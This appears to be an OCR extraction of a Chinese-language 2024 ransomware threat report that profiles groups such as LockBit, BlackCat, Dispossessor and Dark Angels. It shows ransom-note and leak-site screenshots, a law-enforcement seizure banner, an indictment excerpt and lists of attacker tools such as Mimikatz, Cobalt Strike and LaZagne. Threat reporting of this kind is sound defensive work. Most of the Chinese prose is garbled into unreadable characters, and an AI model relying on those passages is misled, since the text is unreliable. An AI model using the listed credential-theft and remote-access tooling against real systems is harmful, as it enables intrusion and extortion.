In parentheses, | will personally publish here without any member, and | will be the one
who will do the work | am not and have never been in any hacking forum except for my
friend who publishes my leaks, and | do not use any means of communication except a
session. Let's go back without much talk, prepare for us

Darkwebinformer Target Listed : 05/01/2025

STy

~ TRy ==

ARK Y

FunkSecEMAHE
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FunksecBEUEXAVEIEESH, AEXEAFBERESNESITD, XRIPEKEAA

TiERE . NZEFHELR/BIWAIHXSHRKE, FunksecBIRIRMHARRIN TEE. Kfe

Hr. BN, ZE. FE. WE. YEMTAARSERE, NTIRE: K. IT. T&E,
8. 7% T RSHAFSIFARSRR IFERRE,

Funksec#RRMHAREEHEMEN L (DLS ) ERFRM T —KDDoSTEH, Z
TESHReeBEIHT TPFMUDPIMNIFELRTDDoSKE, HHEBAXZZBEIRIIFT R
B, HENZALRZREDDOSIHARE M. BIZARAHIIAESFER “EERSHNEX
ISEMNEE, MHESHNEREYT, FIEHEENEEERUEREES .

(=)
Bt R FR=bx

M CRIMAE R GRS, HHRVITHEENSHE, BrTEHRIEIE
N, EARREANZEIERIRSE, BRI TR ISR 7 (B IS iR R E R
&, LUFR2024 58RI EhEhZMESRIE

GitLocker g
2024528 Dispossessor Rt R/ AR 2R
RADAR 16/ = LU =731
Wuibei iR
2024548
HelloGookie iRt
20244561 LukalLocker INE S/ EEEIF
20244E108 GoZone INE /LT
20245E118 Termite HEitE
A

202455 BHiEE th#h IR
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L ERERRgRRR, BRI REREHEITEERMRA .

Dispossessor / RADAR

Dispossessor¥iEE RAKR B LM T 2024528, EizfBEtE T EHIRRE. %
AR THERRERIRS (RaaS) BURWMER, EREM BRI 1tERER
RIEE, XERTSERNFRFEEN—ED . HEEEMESHRBEENHF. EAR.
ICEFIRENF, RERENNEWERReH,

DispossessorfiEHCHEREIBMEYS (DLS) , HiRitSLockBitBIE /5 Mk
WAL, TeRERESR. REMEERFEMERE LE/IFIH—#., ZFEeEL%E
HEteeE% 7 LockBitilIZEERZ R, FHERRE 7 IFMN AR BEFFIEXER.

Dispossessor#i ZBEIK SRADARMIREIKEEZRENHR, RE—EWHRANET
E—44R, {BfREDataBreachfIs®iz, MESCIR EEIMIZAISLR, Bit155 7 HRERI
F1a), EEMMATE., HEMBAOSERE, HHERSEFE. REDispossessorfE20244
2EAEREH, EERRAFMREEESNRTIERT=5F,

24, DispossessorHAREZEIEHRXYE, MREIEZRHEMELR(DLS)R
hEEEERER . HATHNZEEEREPR, KSUZFAHRAYAEWVEH
LockBit. ClOp. Hunters International. 8basel AN SnatchSE# TR IFRIEIKE .
Dispossessoridid BIEEM A1 REiCis (WBreachForumsFIXSS ) L HEXLEH]
¥E. Alt, ARARZIEIAA, DispossessorFfiE— N iIgiRYAGE K, me—EHE
FoF, WIHERNBEMGEKNBERENRFAR, BiEiR, wROzsiR =R
E.

2024568, DispossessorFiaffBittEEIILockBit3.OMFE Sk INZE I T Bin &R St
B3 . BT20245F8812H, FBIFIBERIIZMAIEER(BLKA)ERMIIXAT 5i%4H
X246 RSE:E, BIF188MNTRE. SBNTEEI3AMN TEEIRSEE . HE
WRRR T ZBRFEANIONEE, HPS8I M EXEH, 17MEEEH. XInEE
DispossessorfiZRIRATErIRIELE

2024 FHRBHBERTTSHRSE
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THIS WEBSITE HAS BEEN -SEIZED-
REPOSSESSED

This domain has been seized by the Federal Bur@au of Investigation in accordance with a court order pursuant to 18
U.S.C.§ 1345 and 18 U.5.C. § 2521, issued by the
United States District Court for the Northem District of Ohio
as part of a law enforcement operation and action by:

Federal Bureau of lnvelstlmlon
The United States Attorney’s Office for the Northern District of Ohio
Bavarian State Criminal Police Office
Office of the Public Prosecutor General in Bamberg
National Crime Agency

National Crime Agency

For additional information, see https://www.justice.gov

Site Admins — you know who you are.
If you want to talk, contact us on Signal at +1-662-646-15610r TOX ID
D6558476723DC998EECBB4EE4A3BBAB299AADESF22781D09FB98BDB6FFA0BA26D1C7 1FBBCE9A.
Don’t be the last to reach out...

DispossessorE P# a1

WuiBei

Wuibei#lZRRHRREHIT2024F48 , XRHET AETE A REMAEEEIIN
DIREEIAHITHIEHMHERE . $98 B FIERA P LABE T M4 RS EIFFBIC
F. MECRUREEIIEARIFAAZUIE.

WA TFFE TN EIETZER, RAPHMESEINE, SIIEXXHERAEE
BR.enc, (BETZEERREE 1% Ent, SRS RRASHTES, HE
TEESHEIERRE, RInZSERGEEA N REIRERSE . SESMETER—
trash.dat3 4, ME@MRIBARELRIHIE, BEIRZBEENMEENTEHH(CRELER
4, CESEBEIESRIRSZIRNBER T (temp)).
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(AR] SR, FEerEne, BASFTETH, Basn

TERBREREZECARLNES (EE) RELH, RiFmfittkine G
EIEH) RIEEAR, RERME, BEZD

ARBic# WfEicR

ARERRBENSHS REEFNRIEJEENS
BIEFNSBUIERIZE WeIRRIBAHANMEH
ARESFAEAER [FEE X7 SESBUIRNET
. R, BE. BEHE. —FFBORMER [XF.
BEAEBURBKRLSAE] EA. MR, wKCR. B
BCHNSERRNEMRY KES) THEEHERERC

RMER! LIRFTRKS

WuibeighZ3R4- 59 & R

HelloGookie

HelloGookieFh &4, {ElHelloKitty#I R4 REEEENHFES, BXEIE
202448, EpiSHelloKitty#RREE2023F108 RRISMEMARE . AT,
Gookee/kapuchinofE2Ei1ia E AT 7 HelloKitty#iZ s8F iR, XEESH THEE
AYZRLE,

HelloGookie#) R HRIAIFHIFREFAINHHRINEZEE , MEM TEiEtEL
RIERMTZRIBECD ProjektFBRITEFENAVEIE . XEHERRERAMNERE TIXEIR
WERYEE, LEa 7T IHhkHelloKitty i Z R4 INE s U N FAN SRR Z A o
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HelloGookie X ir N = m} X

“— CcC u gookie .onion % O ¥

HelloGookie site

CD PROJEKT® CISC :
CD Projekt! Hey cisco!
How you doin? I just You lied to us and play for time
remembered some passwords... to kick us out. We will meet you Hey everyone! Some
do you have it? ah, whatever... soon, again. Next time you'll private keys here.

just leave it here... w3: have no chance.

cisco.com\Administrator:500:aa

Read details
Read details

Read details

HelloGookie E MR

Lukalocker

LukalockerBi R RBHIMF 2024568 . XUEERHGHCHHESRVRES, W
REMBENVolcano Demon#ZRIMARRFTRA, I 1RTINEBREWFAIALRHIAER
. ERMBER, ZERSBINEBEZNNSEERE, ML ZEALNRENR
KizHl. W4h, Volcano DemoniBiS M2 HELNIPHEEE, REHERAIEE
Rl LSt R SRR T 9 o

LukalLockerfEfITHERY, SRIATruesight.sysIREIfZRHTIRIE. —BiZIKEIE

2024 FHRBHBERTTSHRSE
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s, st 2NAER (Trend Micror=ga ) ¥3ZBIKR, SBNERAFHIED
EWHTIER

WHE B ERLEEIRRIEE, DEIMERNESERZZEEUNITSENREE, B
REZMEE , XHER LU EEERESIR IR, Volcano DemonfHE&E, —BIE!
B, ISAEZHOEE, FanZEERUSHREIENZ2IRS, BEIFRIEAR
BNZEERCH PG,

FENNZEIESE, LukalockersEB 7T Chacha8&i%, ®@i¥Curve2551 0 EIfh%k
Diffie-Helman ( ECDH ) Z$Bihi&Ei A4 Chacha8Z BRI, LASEIEUERY
MENNE . ZREEEBIRIBEREENER, EEEENESE, INZELLEIRTLLE100%,
BLAR50%. 20%510%.

What's happened?
O has been encrypt3d. And that’s not all - we studied and downloaded a lot of your data, many of them have

sure that your confidential data Va [ 1 make sure that your
and attacks will continue. f data will be sold to s who will attack your

x to make a deal. To install qTox follow the folloewing instructions:
re d the installation file.

our company.
the password field.
irm field

, enter this:
AACEASST4C167800F 3AD32250

2.
3.
4,
S.
6.
7l
8.
3pe
the
9.
Adv
1.
2.
3.
4.

ete all you
n how to prevent similar attacks in the future.

w

Do not attempt to change ame any fil3s - this will render them unrec ble. Do not make any changes until yo!
d3cryption tool to aveoid p ent data damage.

LukaLocker#h&ZER

GoZone

GoZone#FRMHHRFEHMT2024F 108, XR—K(EMBGoLangiESRERTESIX
%, B8 7T ChaCha20MIRSAFIEXZREZRIHHITINE, ZEEBVEMEEHNE
2f41000%7T, HRIESRIREIRRGES, GoZonelUFEMDTEXI N AR MAER
Y, HGoZoneizfTREE, SREEERESONTE, R EER BRIt
EXNES.
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GoZonefh&EER

ZHRPHEREEZIRE LR T —SRERMMERTESER, FEUE TERIL
ENEFSHINS . BIREAR, IRZEE M CEENHERERITEI GRS, 1
IS ERE IR S X EPMBRAEEM . XMFRAMUEZEERINTEARIOEES,
WEAIRES A AEIAR, H—FBEREEXNESIABRREENERER.
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(M)
HKIEMTEXR

SR ARRIEINAN, —EHRREFIRZIETE T TLLZRIER, 819
AJRERBEERIFENETR; BRITEEAHEMESCIET, EERTaERHEERAY
BEZIEEF. sIRX—IR, #HITTLATHEHE:

O WIEEE: BRVEHAMATHEBEEFR .. EREERRASFE, SEHITmAE
¥, #lt0, HelloKitty#hER A4 RIRELEHHelloGookie., XGRS EEANEE)
FREUKIEBHERR, ABEIRS [FTAIMSBHAEIIN

O FINHE: IXRNEERF LTSN @BEHRTHE, SABHITHE. Hla0:
INCEVERIRMHFARALYNXE, ERMUHEEERZICIE LU0 ETRINMBLE.

O RIDMEE . NERFBEBIAINEFESH THRREGFEAUILEE . fla0Babuki
SRR ERIELIERENETE, HelnEBERCEATTAM,; Conti#
RRERERSHFTIRESESH, SEATFE, HRUBEHTE.

OIIZEMEE . FRBER AR FBESFERMEATT, FlNLockBit3.0r9HTEE,
HEMANARARNETSNE, SEENEIEFEEEHEATA .

O RERN: —EHRWHNFRELTHERD, LISEHRARARENATIR
B, WJigsaw#hEE M, (EXEAIREESREERIA,

TER/UAKE SR EERIBKEE .
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RagnarLocker == Dark Angels
20194128 gl 2022455
| o]
gl RTM Locker
LockFile BabukV2 EA
AtomSilo  Pj 2021478 /

2
Dataf Locker

\ VA
2021498 , %, & P DeathRansom
S 3 % . 20194118
%\ = 4

£ S B Cylance /
R - 2023438 2

-~ ey T~ 5

12

Rook . . ) |
2021461285 - s N
N Cheerscrypt FiveHands

2020¢F108

20214:8H

HelloXD \
20214118 HelloKitty
20204F11H

SchoolBoys
20224108

\
\
'Y -
% X /?(g -
Tommyleaks i HelloGookie Abyss
k 20224598 - LockBit2.0 202 B
Bl 20214565 sl 2023438

DarkSide

202048H

|
3\

Brain Cipher
20244568 >

E-2
Tl — LockBit3.0 &
Dragonforce LockBit Black .
20234118 e e 2022468 o BlackMatter
-~ “HEEs - ) 2021478
202428 P / 2

- Tz
WereWolves
2023%6H

> (9& / BlackCat
20214118
DragonForce
2023¢F11H

BloOdy
2022455H | 3
i Zeon M
Hermas 20224F1F ol S
- };5 i Aoyl /"&@
%\ " 2022¢F1H
e~ Ryuk /

20184885 Black Basta

Sy g 2022¢F4H Elpaco N3wwdv3
= . \ 5 y 2024¢r38 i} 202249H
Medusa %5 - o \ Ay :ﬁ *
2021456 P / ® e
fe v ; ) s’
e b U 20244618
B Mimic ¥

%;g\ - Conti
20194F12H

2022¢6H

P % -3 =
A P EN TOLKONEPERDITE
& A . 2024418
T < Akira MountLocker .

orp 20204£7H -

202248 2023438 e  XINGLocker
'y o TN 2021458
~ \ 5
T ais \ By
Fremy 2 D 2
4 \

Megazor Quantum

202348H AstroLocker 20214F6H

202143H

MRFEXRRE
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BRI SZ2 H A 3

ET360RHRIRSPRBBFARBIER, HIXS2024F2FEZHMEIEGIE
HNZEARHYL T o . RS LEHREREEMN, KIBUBFEFAAEXMAOR
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ShEKER AMATE

LockBit

Mallox

BlackByte

CLOP

Everest

RansomEXX

Globelmposter

Makop

Buran

Magniber

phobos

Stop

TellYouThePass

BeijingCrypt

Medusal_ocker

Medusa

MEGAsync, CrackMapExec, Mimikatz, PsExec, AnyDesk, GMER, Process
Explorer, FileZilla, ScreenConnect, LaZagne, NetworkShare, Cobalt Strike,
Exfitrator-22, KPortScan, NetScan, PChunter, PowerTool, Process Hacker,
Network Password Recovery, HRSWord, denfendercontrl, Exmatter, Poortry,
SplashTop

fscan, AnyDesk, powercat, Icx, DefinderControl, Mimikatz, NetScan, Process
Hacker, PChunter, Cobalt Strike, Nasp, NetworkShare

Cobalt Strike, AnyDesk, anonymfiles.com, file.io, LoLBins, WinRAR, Exbyte

DEWMODE, FlawedGrace, SDBot, Truebot, Cobalt Strike

ProcDump, NetScan, SoftPerfect Network Scanner, WinRAR, AnyDesk,
Cobalt Strike, SplashTop, Atera Agent, TeamViewer

Cobalt Strike, Mimikatz, Metasploit, Vatet Loader, LaZagne

Process Hacker, NetScan, PChunter, NetworkShare, Mimikatz

PChunter, Process Hacker, Process Explorer, NetScan, dfcontrol, netpass,
NetworkShare, Everything, Mimikatz, mouselock, Exploit, Advanced Port
Scanner, ARestore, PUTTY, PsExec, YDArk, PuffedUp, KPortScan, NLBrute,
denfendercontrl, ydayk, GotoHTTP, Nasp, Bdcontrol

AZORult, Vidar, Rig EK, PChunter, Mimikatz, NetworkShare, Process Hacker,
dfcontrol, YDArk

Magnitude Exploit Kit, YDArk, Pchunter

DataBase, DefinderControl, accountrestore, denfendercontrl, netpass, pyark,
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SZHEUNRRS —RKPERNFE—@MEEAWFEES “Pandabuy” , tBE20245&
27 SanggieroRI#IER . ZABLLEISE#ERE Y TS LG IER SRR, (1267
11, B—REERERHZABHT TR

Pandabuy - Leaked download!
by Sanggiero - Sunday March 31, 2024 at 02:07 PM

W Sanggiero

IP, Order_Data, O Id, Ho

Sanggiero¥fPandabuyfVgiZEE R

2024%£3831H, SanggierofEBreachForums &% T EIREMPandabuyZsENE!
U300 L &EE, HYEsEra. BiESHE. BFud4 i, ZRIPHuE, FREEIELL
FiTEREMEE . WEEFRMEIIRIBPandabuyEEAPIFH AN EERIEETTE 7 iX L4
2. ZEIERHZL THIEMEBENRS ‘BESEHSGN (HIBP), RS EIRS4
21K 135 5N FHRAHELERINE T ER &, XA, PandabuyidEE 7T AR (TAAFF
=i, EEEIRERZATITEEDIscordfIReddit - RERHEFBFIIRIR .

Mm2024F6RA3H, A—KE&HZEBXRET4HETHNBHEMEIRZAMN
PandabuyZEXHIEB N EIRE .. ERZEUEEES17005178E, XEREHEENIIE
EERI—REBARBZ . X—IX, SanggieroixBiRHIAiREREEFEAR, Bt LETE
BHRR T ERREE—NBFHMIIEREFEE.

PandabuyRI—h& S ANZRR MR E MR ES T T —ERIKENEE LA LEEEE
MEE . EfIBEZERIREFANNTEE UERIES RN SBEELERS THAA,
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R ARREAESHTABN I NUIEE

BaiReEEIN PandabuylI R BNEE SPandabuytExHI& %M, LUSe]aEs,
BN EE RN E E2HURRE .

LA HER R EGHE BN BAR R
270075 ik

IHRBREERATRIARE2023F ARG IR EI 7 HiEit EOE, 7
&R 72927005 3ETTHIEFTRR o

RIELRIRE, TREENTMIELTEFIORBEHRREL L, SEHATKXA
TREDITREE, F T HEREFNRS. MILRKERNAREEADark Angels#ZEx
%, BN IREESIN B2/ TBRIIEHE. E, HEERES1005ETHES
LR PR B RS RS .

HELLO dear Management of Johnson Controls International!

If you are reading this message, it means that:
- your network infrastructure has been compromised,
- critical data was leaked,
- files are encrypted,
- backups are deleted

ANGELS TEAM

The best and only thing you can do is to contact us
to settle the matter before any losses occurs.

Dark Angels 23 IHRBENKEER
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ZAFFRIANRSFHFRRERSE S ‘NELZeEH" , ERERMHEINTEERS
B ENESER.

BE1H308, IHEREOXEILESRZERSREINZERSHFIESL, tI1E
2023F9R 23HEZAIMBIMLSLIR EEMEHI S, HESMTHERSE . I, &R
AR E RN B EATFEERTERERAAR270053%7T. iITREET, BEWIE
SRIHFE R FREUE . NIRRT, X—pAMERKI LB RSS9 4E TFt .

TS R BB R 25

eAK, REEENEHERUWEHEKLockBIEMREHIT IRKMF—BRIERS T
RIS ERRERE SBRARSEEXARVIEIRERKR EEET(NERI—IRARE: HEE
EERISS R EE SRS RASMERE NSRS TSR G

HE2R&E—, LockBittEERENub ESR: FRAMDATME/RIMEX S HERAIE
%, BUESAHTNZEBRRSTENITENE. MxEeF AREREERR D5t ZE
MNFBREHIETI2020F Xie—SIERAI . A, SRFHREEAIELER RIS,
AMRBEATHEA . LockBitEE= MM E R UL R TEHURFILENARE . SRR
BERBNEXMATES, EiEREAMAHESHSHMIIEELANRLockBIRERRIT
BIAFE ARSI

MR RENRRBNERZ R, HUEED IS XILockBitRI 7 —IREX&1T75l. 1ZITa0H
REEZFIEFEBEFL, BEHTLockBIitARS MRS, T THYEMIEETRE,
ER T HHRENPERRIEENRLL, FUETEEEFRERIER T E—ERRNEGFE .
BEifE/LXE, LockBitfERIA—FHIEMMUSIERENR, FERAT —MHHNZEER
B, HizBRH, MEERMENAREEAEE2B29013:497 .
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q TWITTER HOW TO BUY BITCOIN CONTACT US
L L E A K E D D ATA PRESS ABOUT US AFFILIATE RULES MIRRORS

[Rela BT 3.0

Deadiine: 16 Fab, 2024 05:47:28 UTC

fultoncountyga.gov
Eg b‘l;‘JOTrg’ Futton County Government
Fulton County's budget of $1.2 billion funds an array of resident services

Fulton County offers a variety of services for businesses to expand. Fulton County is located in Atlanta Georgia.

We will demonstrate how local structures negligently handied information protection. We will reveal kists of individuals responsible for
confidentiality, Documents marked as confidential will be made publicly available. We will show documents related to access to the state
citizens' personal data. We aim to give maximum publicity to this situation; the documents will be of interest to many. Consclentious
residents will bring order.

5-80f25

Until the files will be available left
14h 49m 3Ss

LockBit#iZM &M B/ RIMENERER

Ut

Y L FonPlay iR Pk R 1
650000 B XCPE

T ERMEZEZEFNCSC)RH T —HRE, 27 XplainBXZERRG KLY
HIEHERR, KEZSERN T YT OBUBRIEFBIR X4 . XplainZ—ZRIm T 3AMEX
AR S=RMRE, ASMBUEER]. TR, EEZENESNERMRS .
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S, HEEFMERTESEZERXY, MEEHLEZ/FrI2023F6 3%

TZER, FEERBEMIIP LA T RESE. XZ2/E, RTBUF T aRERENSE, F
VAR ENEIETTREE SR T i LB EIERAIN 4.

i

Xplain

Switzerland
www.xplain.ch
© views: 4486
amount of data: ??? gb
added: 2023-05-23
publication date: 2023-06-01

information: Xplain AG is a company that operates in the Consumer Services industry.

comment: Private and personal confidential data, finance, taxes, clients private information. For now partially published compressed 5gb. If there no reaction full
dump will be uploaded

DOWNLOAD LINKS: b onionixp
Rar password: lEmm— e —

PUBLISHED

IRtiEPlay# R E BT

2024538 7H, WmIBUFAS T —MHXTIENER, FRE65000 B S4-ERitt

@ X LAY ER D (95%) &N T BXFR Al ZANEERER(FDJIP) R TIERAL: BXFRE)E
PRE. BHPBERDPNE. ExRBEMBAFAIITIRSHOISC-FDJP,

O EFRERER. EEAMAEEB(DDPS)ZRIRIRMmE/N, HiZEHEAIS%NZ—R.

O KAS000 B EHRER, B TARIEMER . BFHb il . BIRSHEit
Hh). FARET . YIEEESFKFES.

O — 1 HJLB M XHAMRNES, BRITRENE. RESEREEEIIE .

NEREESTADRSER, FESRIERANSLMERTMALZLEN.
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h
Sh SR R e SRR A BER s
BiA BB

=1ty h HliEENexperia TEAT BRI FAE .. E48128RIFERBES,
ZAFIKRE T EESAHRERSRWEMEEEXA T I TRFH EIIAELBERITE

El. BRiERRMEKERET PREEHIRIIEA . NexperiasHRREEE=2755]
HIRFRIPYWEIRE 7TIX—F 4, FSFoxTELYLSRAESEIME.

48108, #EMuEDunghil LeakE# AR T Nexperia, FEFREIEN T 1TBAIZEL
B, FERtEEHG TIEMREMRENHNRERMENIHE. EERG TEFTH. RTIFE. F
EHMYANSFE M ARG, (EXEEARIES M EAREZEINexperia/s EANESE

nexperia Nexperia

Nexperia
https:/nexperia.com
https://www.zoominfo.com/c/nexperia/401041067

Headquartered in the Netherlands, Nexperia is a global semiconductor company with a rich European history and more than
15,000 employees in Europe, Asia and the United States. As a leading expert in the design and manufacture of mission-
critical semiconductors, Nexperia components provide the basic functionality for virtually every electronic device in the
world - from automotive and industrial to mobile and consumer applications.

Date: 10.04.2024
Status: Coming soon Read More

Views: 1

DunghillEaEX Lt ERFHEM LA & T
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Dunghil Bk, EARZMES, IRt TEE:

@37 1GBRIRITAI~mEUE, 8+ QC. NDAs. BWME. SKAME. TZREE
IR o

@246CGBIITIEME, BfE: AEMHARMBIEEAR,

@ OGBS HEE, BE: SNMIEHEIH.

041.5GBA TR, 8iF: HR. RIPAFMEE. PR, REMNE.
© 109GBMEFHREFEYE, B#h: SpaceX. IBM. Appleflt&nEmhié.
© 121 1GBINEMIMFIZRIEUEE, B1F: BFEMHFES.

7N
PR A e

A FK AR IR 203550

KEATIbA8HFR, ZAET2023% 108 ElLockBit#IE M FESHNMEZIETED
FHRTHRAZATREBN2{ZETHRES . KERATIESE, ZATMEXEEEBT
SA7ARMI—HEFEFREN—xREBNBEENTHEL AT .. XoEFEiEE
HTEHRAREKEE - LB - EZERELockBit#IRREIETEEERMITAE .

BERIELAS, IREREHEEH—L BT, HRREHIEBERZLEFBl. MFBISEFF
ARIZANEINIER S

EF118%, LockBitMih EEB N T494.3CBHIKS NG, RS ASITESMER
TFARBLOCKBItSHHAEE . MARIFEFIREINREBATDERBBRNRERK “&R
ZERES" N—MIF, B2019FKH2020FILK, MIIENZEEFPHERTE
BlZ3ETlEE
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MEMKELREADEERE— X MEZTIAHMoHISHNERE, LR
LockBitE) ARG TR TN T i AN BS R A HEEE 78R

KRB RNDRTWRSHHARZINE CTRE, AMREESHENSETMSERITR
B, B, KESRRSMIEEXE, A ERNE LEREEMNEAEREE "SRR 5/
Ao

RARRE R TS EIRARIESELockBItAYSE, {EiZBKER B ZEIEILE R E
PR T IREAVEREIE . MLockBItAKUERBREIERNFR: “WRKELNTFEREHR
REHKER, EHENLMASSREE, 7 - ‘BRIATRIPZATIENE, IR
SNIFAFIRTWES, BEEIEREZE, HNEFAZFERE. 7

t
Z AR AR R R R i

2024FA—NUATFHEEREE R, BEZH-Se=EKMaksim SinikaufEFaITF i,
WEHS [BEREEHEIGRE2021F8IERansom  CartelEhZ= ALK 201 3FE = 20224 8]

BITERE &a5Ek.

WHEBEERIEICIEELL “UP Morgan” « “xxx” #0 “lansky” FUBI&#{TiERD, Hith
FEXLNEIR 1T T REENRMEIRTEEIAE . J/AENT 7 RDIRZATEIRTS: —H
SHWHFEAMNBXXTER SRENERES, 5— 02N BEEFRIMNEXXT
Ransom Cartel8/ZKEHRERFE. IS, HBR: 38SHWHEBZH-SR=2K
Volodymyr Kadariyaf133Z i/ EANdrei TarasovtBEEERE S HRYER
e .
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2013R01333/AMT/AAH/LKB/CG

UNITED STATES DISTRICT COURT
DISTRICT OF NEW JERSEY

UNITED STATES OF AMERICA : Hon.
V. : Crim. No. 23-
MAKSIM SILNIKAU, : Count 1
a/k/a “Maksym Silnikov,” : (Conspiracy to Commit Wire Fraud)
a/k/a “Maksim Silnikov,” : 18 U.S.C. §§ 1349, 3559(g)(1)
a/k/a “Maxsim Andreyevich Silnikov,” -
a/k/a “Maksym Mykolaiets,” : Count 2
ANDREI TARASOV, and : (Conspiracy to Commit Computer
VOLODYMYR KADARIYA, : Fraud and Abuse)
a/k/a “Volodymyr Kadaria,” . 18 U.S.C. §§ 371, 3559(g)(1)
a/k/a “Vladimir Kadaria” -
: Counts 3-4
¢ (Wire Fraud)
18 U.S.C. § 1343
18 U.S.C.§2
FILED UNDER SEAL

INDICTMENT
The Grand Jury in and for the District of New Jersey, sitting at Newark,
charges:

Count 1

(Conspiracy to Commit Wire Fraud)

Introduction

1. From at least in or about October 2013 through in or about March 2022,

iEBRXtMaksim SilnikauBbiEiF34

PEIR, XESLRELRE T —IMEBFIY, BRESRGS A e AL ELHEENE
BEMAFHENL, " $mERMNEFEEEPHIip R. Selingeriit “J97 LiEiZitl, 1t
IERER SR BREEE RTEUSENEERNM &, 7
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REEFICEBEE20245F8H13HE, SinikauF2023F7 B18BE—HHANCAMM
VEERRIBREHRETZ A P TR S . BIERFEPIRE, SinkautlZMNEERET
Ransom Cartel#iR¥4, FNEEICIRBSEMNEILES FE5HE. Wits ‘i
pRELAN” (IAB) #1761, XEELARXTZRIREIWMEZHIL IR, SES%
SENBEFCEESZT, WS, SinkaukBEENZEmHERES ISERESRAFE
RETEERNE, BRETHPAESRZOER.

NCAZIEE, SilnikauthRREBENRevetonAKEWEFEF, X2—Ff
WindowsEEE, SR METRERZZI—EIHBES HES . B0t
FR011EEHEE, REEmEER], FHRERETRENZE) L ZEEBIISZRSURIFIIM B EZ
ERFNITENEIE. MEBBOTEY, SEEFTEEIMoneyPak. PaySafeCardakH
LSS . T2012FEF201445FHE), Revetonid# i ELEEMMEILTED F,
XL EZILTES F B Z R /A AT ESANEHIMLHTT KEEE . NCARER,
RevetonfI@RIE201 15 ZE201 35/ 874 7400000 THIERIBTRFE . IZARSHIR
AR T HMANBILFE S, FEHEUNEERGE, AlllUrausyflHarasom
Ransomware&%l, TFZER FETAINEESRevetonFHEX R, AIHENE, ZERK
HEERIT—IUZETEARFBEOSNIRTER 7 BSfHE) L A%,

@8, SinikaulkiEEiFZHET2013F 108 £20225F3 B HHEISRXI M HIT—IURESE
BIOERET .. NERRRGEFANSAEST &, X SE5UGE, B8EFE
E@EIEEInternet Explorerim@F LRSS . TR BIMREFIELTFIRAIRLL

RIBXFIEIRBFRERE, Maksim SinikauEIFEIFEFTERNEEER, SERS
CEGE. THENENE. EVEGFIISR . MESH0ESMnREIIEMHEFILSEEE.
RITEHEEIYEETE, SinkaudseEIGEE 100FAKEE . REBETHHEIRIEN, REE
FRTEREEEESE .

B 7 Maksim Silnikau4t, BS—Z2ERRFBXEZHLAEZEERICIF.

2024F128, EEXMBEEH T —85i%Scattered SpiderM&IETERKE FHI195 b
F, MIEFEEANE—REEESYVIEIIRRAEZNEEAT . XUZNRemington
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Goy Ogletree ( HEMKZHTZHZH “‘remi” ) O EFERFITER THEEINESME
HNEEEFFEIEREAER TX=RATING . L8 FZTZEZMITHFBI WIRE, S
EBER TIAEIMNERE ML, ki ABFREFEE .

&€, #Ogletree NERNERWIMEXIFBIZRR, HALF 1402 RT AT METIRIL
THIEMR, ZHBEREHMNINNELOEERNE T ERAENNAIHEERNH. X259
& pus EEESRERR TRA BT h SRR TR

Itoh, 1E2023F 108 E2024F58 8, OgletreeitFBBEXESRSeHIA T RG]
EEEHARIESIEAIX THEIY860 £MENEEE, BERITBE ARINNZERT .

SE2H, FBIEEEMEERFEIN AR EATEA S TS ERRYIPhone AT
T Odletree)RIBENASIHE: BEERERATNNEHENAEHE . SRKEMNEEE
B NHENEBEURAEH A ETMEEMNNZESNEE . EEEKEIFBIEE,
Ogletreeif TR~ BIAIR “IETFEFIETAIAN” F0 “Scattered SpiderfVEERR” , Fr4bh
RIZBEHRLEREIN (BPO) 2BREMR, AR “MilLeErRa” T
ERIE .

2024F11 8, EEREIEHEHEET BINABSNMBICTERKERAIEEEA, (]
FEAREEFRETXIE 1 B E R B K 7 B B ThIIIERET . XAOBEEA
HIGECER . RYBOFERINTEESHBTER, BAZ HEHIR20ERE: REES
HE2024F7 Bl 7T —R 175NN, EEMES52023FEKSBEBRIEHRREI
FhYScattered SpiderBEEARN—R. SZEFARBIXNEMEZRENKGEE
Caesars. MailChimp. Twilio. DoorDash. Riot Games#lReddit EAYH .

BH2023F#4LA%k, Scattered SpiderdSZMEZH#MRRERAKESIE, 815
Qilin. BlackCat/AlphV#lRansomHub,
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)\
UnitedHealthf{ 5 —{Z 3 BdE
e E Bk

EEBARERRER (UnitedHealth Group ) EFfABEIRREFABLSTH TIES LA
RIFEE2 B EEOptumBRI B R IRG HE RIS SUREUE . WRESH THIRSF
Br, FMW7T Change HealthcarelS{YE %, RASHEESHETREARLSINBERR
FRN—RIEERSZEE, XEPFEQEZN. &L RENRREBERR. BiEz&E
BIRUHREIR, MEBEEIEMELY8.72{2ETHIEFHRK .

BlackCat/ALPHVEIERBFFAKEFRISIOR M TR, FHAREFIE 76 TBRBUREE
#iE. £3R#), BlackCatRREMKRSRERREFPIG 722005 =ThlEE . =0T,
ZEKHI—1 279 “Notchy” BYTNETUWGEIR, AR T AORMEHIRE TS
ERARAIESE, (EBlackCatAiREN 7 itt{JAEE . MRIELLIS T XREE LAUER., 5
ARFAESHSLER N T BlackCattBx AR .

MET4B+E, #ERELERansomHUbNIFE EEMIIEFRERLHIEHEEIN AT
MBEHIE, NMEKSEBREETRTEARNESD . ENotchySEXSEBFREHIT TH#
— B RE, WIEHIEEXEAT RansomHubFEH,

HRIEHIA, RansomHUbERBEXEIEAERuGMER, FHEFSHKEGRRFAMMAESR
SERBTHER. MEXSERERFRREE23IAARERIA, SEMAERTEGEKRLGK,
MR NRH 3B H1EFRREBlackCatsz 4892200537t .

IEEAE T UnitedHealth&E B F AT OptumBIME K H S B S3 7 Change
HealthcareZ{FEEiEEET N, MIEHEATIEERIRILEIESBlackCat#Z= k44
NEX,
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Change Healthcaret2 A21H AR EHR R BENELZEEHMESMEE S RS AT
A, RSN TERETFRERRANTENITZFE . BRASZHKELK, Change
Healthcare—EEHITHEXBAE. Es5RENEXARERE, WRXKFTES
BlackCat(ALPHV)#I Rtk E X, WEHE T sEREE ScreenConnecttSD¥IELSE
FIRiE(CVE-2024-1709) I\ RRIRS R AR, FERSS LHETHERRG,

HeiJvlk, BlackCatHEA E AR Change HealthcareESHW X HERAE,
UnitedHealth&EFt;8E#HABlackCatE B ithr It ras.

n
it P L 2 A R e B I B e
RGBS

EHBALTERE, ZERERWVELEMERSER 7 CactusIRIEKE, SHRE
RS . FEHRUREKNETHRT1R17H, MERKEHNRZATNT LR REISER
[Jo ZORWEHEL T HEMER SRS REMUZFE, XEFEESPBATHEPRE.

EiRE, $RWEAKENELEREGR T ATBIHHNATEE, FIALEZA
H. BRENEERSHIEREE, EiFaaR I SER NI AR ERRS M H
ERERRRS SRIEHENF R TR ESRATERMISREEER, FTABREHIERE
BEEXREFAE. TIH=RIMBmtRSIANMMEHIRERER SIS R .

BRIENBRETRESEESXNES, Bz R RFIEStEA A RIISSER
